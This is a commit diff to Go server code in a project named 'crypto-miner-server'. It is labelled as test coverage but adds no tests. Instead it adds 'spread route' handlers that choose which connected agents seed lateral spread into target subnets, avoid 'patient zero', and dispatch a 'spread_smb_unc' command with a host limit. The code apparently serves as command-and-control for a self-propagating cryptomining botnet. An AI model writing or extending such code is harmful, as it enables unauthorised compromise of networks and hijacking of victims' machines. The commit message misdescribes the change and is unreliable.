Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -18,6 +18,8 @@ import (
|
||||
qrcode "github.com/skip2/go-qrcode"
|
||||
|
||||
"golang.org/x/crypto/curve25519"
|
||||
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
// ── types ─────────────────────────────────────────────────────────────────────
|
||||
@@ -236,6 +238,9 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
|
||||
if hints := jsonRawOrNil(sess.NetworkHints); hints != nil {
|
||||
resp["network_hints"] = hints
|
||||
}
|
||||
if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
|
||||
resp["spread_routes"] = routes
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
@@ -363,12 +368,48 @@ func (h *PathTracerHandler) Discover(w http.ResponseWriter, r *http.Request) {
|
||||
sess.DiscoveredAt = &now
|
||||
}
|
||||
|
||||
resp := map[string]interface{}{
|
||||
"ok": discoverErr == "",
|
||||
"session_id": sess.ID,
|
||||
"error": discoverErr,
|
||||
"service_graph": serviceGraphList(sess.ServiceGraph),
|
||||
"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
|
||||
}
|
||||
if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
|
||||
resp["spread_routes"] = routes
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
// POST /api/v1/pathtrace/spread-route
|
||||
// Body: {"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}
|
||||
// Returns BGP-style spread route recommendations per target subnet.
|
||||
func (h *PathTracerHandler) SpreadRoute(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
SessionID string `json:"session_id"`
|
||||
TargetSubnets []string `json:"target_subnets"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.SessionID = strings.TrimSpace(req.SessionID)
|
||||
if req.SessionID == "" {
|
||||
http.Error(w, "session_id is required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
sess := h.getSession(req.SessionID)
|
||||
if sess == nil {
|
||||
http.Error(w, "session not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
routes, edges := h.computeSpreadRoutes(sess, req.TargetSubnets, req.JoinLane)
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": discoverErr == "",
|
||||
"session_id": sess.ID,
|
||||
"error": discoverErr,
|
||||
"service_graph": serviceGraphList(sess.ServiceGraph),
|
||||
"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
|
||||
"ok": true,
|
||||
"session_id": sess.ID,
|
||||
"spread_routes": routes,
|
||||
"route_edges": edges,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -410,6 +451,16 @@ func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
egress := sess.Hops[len(sess.Hops)-1]
|
||||
if targetSubnet := strings.TrimSpace(r.URL.Query().Get("target_subnet")); targetSubnet != "" {
|
||||
if routes := h.spreadRoutesForSession(sess, []string{targetSubnet}, ""); len(routes) > 0 {
|
||||
for _, hop := range sess.Hops {
|
||||
if hop.AgentID == routes[0].EgressAgentID {
|
||||
egress = hop
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if !h.hub.isAgentConnected(egress.AgentID) {
|
||||
http.Error(w, "egress hop agent not connected", http.StatusBadRequest)
|
||||
return
|
||||
@@ -426,14 +477,74 @@ func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
|
||||
http.Error(w, err.Error(), http.StatusBadGateway)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"agent_id": egress.AgentID,
|
||||
resp := map[string]interface{}{
|
||||
"ok": true,
|
||||
"agent_id": egress.AgentID,
|
||||
"agent_name": egress.AgentName,
|
||||
"unc_path": req.UNCPath,
|
||||
"max_hosts": maxHosts,
|
||||
"message": "spread_smb_unc dispatched on Path Tracer egress hop",
|
||||
})
|
||||
"unc_path": req.UNCPath,
|
||||
"max_hosts": maxHosts,
|
||||
"message": "spread_smb_unc dispatched on Path Tracer egress hop",
|
||||
}
|
||||
if routeHint := h.bestSpreadRouteForSession(sess, nil, ""); routeHint != nil {
|
||||
resp["spread_route_hint"] = routeHint
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) spreadRoutesForSession(sess *TraceSession, targetSubnets []string, joinLane string) []spreadrouter.RouteRecommendation {
|
||||
routes, _ := h.computeSpreadRoutes(sess, targetSubnets, joinLane)
|
||||
return routes
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) computeSpreadRoutes(sess *TraceSession, targetSubnets []string, joinLane string) ([]spreadrouter.RouteRecommendation, []spreadrouter.RouteEdge) {
|
||||
if sess == nil {
|
||||
return nil, nil
|
||||
}
|
||||
in := buildSpreadRouterInput(h.hub, []*TraceSession{sess}, targetSubnets, joinLane)
|
||||
rt := spreadrouter.Build(in)
|
||||
return rt.Routes, rt.Edges
|
||||
}
|
||||
|
||||
func (h *PathTracerHandler) bestSpreadRouteForSession(sess *TraceSession, targetSubnets []string, joinLane string) *spreadrouter.SpreadRouteHint {
|
||||
routes := h.spreadRoutesForSession(sess, targetSubnets, joinLane)
|
||||
if len(routes) == 0 {
|
||||
return nil
|
||||
}
|
||||
return spreadrouter.ToHint(routes[0])
|
||||
}
|
||||
|
||||
// RecommendSpreadRoute picks the best seed hop for a target subnet across all active sessions.
|
||||
func (h *PathTracerHandler) RecommendSpreadRoute(targetSubnet, joinLane, patientZeroID string) *spreadrouter.SpreadRouteHint {
|
||||
if h == nil {
|
||||
return nil
|
||||
}
|
||||
targetSubnet = spreadrouter.NormalizeSubnet(targetSubnet)
|
||||
if targetSubnet == "" {
|
||||
return nil
|
||||
}
|
||||
sessions := traceSessionsSnapshot(h)
|
||||
in := buildSpreadRouterInput(h.hub, sessions, []string{targetSubnet}, joinLane)
|
||||
rt := spreadrouter.Build(in)
|
||||
rec, ok := rt.Recommend(targetSubnet)
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
if patientZeroID != "" && rec.SeedAgentID == patientZeroID {
|
||||
// Prefer a routed egress when patient zero is not the only candidate.
|
||||
for _, edge := range rt.Edges {
|
||||
if edge.ToSubnet == targetSubnet && edge.FromAgentID != patientZeroID && edge.Weight >= rec.Score*0.9 {
|
||||
rec.SeedAgentID = edge.FromAgentID
|
||||
rec.SeedAgentName = edge.FromAgentName
|
||||
rec.EgressAgentID = edge.FromAgentID
|
||||
rec.EgressHopIndex = edge.HopIndex
|
||||
rec.SessionID = edge.SessionID
|
||||
rec.Score = edge.Weight
|
||||
rec.Reason = "routed egress (not patient zero)"
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return spreadrouter.ToHint(rec)
|
||||
}
|
||||
|
||||
// ── orchestration ─────────────────────────────────────────────────────────────
|
||||
|
||||
Reference in New Issue
Block a user